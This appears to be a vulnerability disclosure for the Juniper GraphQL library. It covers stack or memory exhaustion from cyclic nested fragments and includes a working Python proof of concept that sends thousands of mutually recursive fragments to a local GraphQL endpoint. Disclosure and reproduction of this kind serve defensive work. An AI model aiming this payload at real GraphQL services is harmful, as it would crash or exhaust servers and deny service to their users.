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GraphQL behaviour

Nested fragment in GraphQL might be quite hard to handle depending on the implementation language.
Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.

# Infinite loop example
query {
    ...a
}

fragment a on Query {
    ...b
}

fragment b on Query {
    ...a
}

POC TLDR

With max_size being the number of nested fragment generated.
At max_size=7500, it should instantly raise:

However, with a lower size, you will overflow the memory after some iterations.

Reproduction steps (Juniper)

git clone https://github.com/graphql-rust/juniper.git
cd juniper

Save this POC as poc.py

import requests
import time
import json
from itertools import permutations

print('=== Fragments POC ===')

url = 'http://localhost:8080/graphql'

max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]

fragment_payloads = ''
for i, perm in enumerate(perms):
    next_perm = perms[i+1] if i < max_size-1 else perms[0]
    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'

payload = {'query':'query{\n  ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}

headers = {
  'Content-Type': 'application/json',
}

try:
    response = requests.request('POST', url, headers=headers, json=payload)
    print(response.text)
except requests.exceptions.ConnectionError:
    print('Connection closed, POC worked.')

cargo run
[in separate shell] python3 poc.py

Credits

@Escape-Technologies

@c3b5aw
@MdotTIM
@karimhreda

References